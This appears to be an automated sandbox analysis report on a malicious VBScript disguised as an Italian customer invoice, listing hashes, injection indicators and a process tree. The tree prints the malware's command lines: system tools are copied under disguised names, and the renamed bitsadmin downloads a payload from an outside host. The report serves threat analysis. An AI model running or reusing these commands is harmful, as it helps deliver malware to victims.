22c2b0edeb83c36ad3757ff81c922df3fcc124c7da452ace9e932eb0125ddc2c

Analysis

Target

Fatt_cliente_02567110412.vbs
Size

3KB
MD5

9faef390681779584e1b8133adae555e
SHA1

cb3765ea99deb44f62e47c23411b19405fcc507d
SHA256

22c2b0edeb83c36ad3757ff81c922df3fcc124c7da452ace9e932eb0125ddc2c
SHA512

3faa7c7ef807d6c97b89730e5d1f0124c639addbcd96ef3f47ff0d567e7dddf34df3163bc7e0c463655f18db0e8b85ba1103c4fcc5fee3b468150056c4273cf2

Score

8^/10

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2112 wrote to memory of 2644	2112	WScript.exe	68
PID 2112 wrote to memory of 2644	2112	WScript.exe	68
PID 2112 wrote to memory of 1008	2112	WScript.exe	70
PID 2112 wrote to memory of 1008	2112	WScript.exe	70
PID 2112 wrote to memory of 3604	2112	WScript.exe	72
PID 2112 wrote to memory of 3604	2112	WScript.exe	72
PID 2112 wrote to memory of 3604	2112	WScript.exe	72

Executes dropped EXE 1 IoCs

pid	Process
3604	jzFO.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Fatt_cliente_02567110412.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\zjzFO.exe
  2⤵
  PID:2644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\bitsadmin.exe C:\Users\Admin\AppData\Roaming\jzFO.exe
  2⤵
  PID:1008
- C:\Users\Admin\AppData\Roaming\jzFO.exe
  "C:\Users\Admin\AppData\Roaming\jzFO.exe" /transfer JxfqxV /download https://mzgotech.com/temha/02567110412/uk.png C:\Users\Admin\AppData\Roaming\uk.png
  2⤵
  - Executes dropped EXE
  PID:3604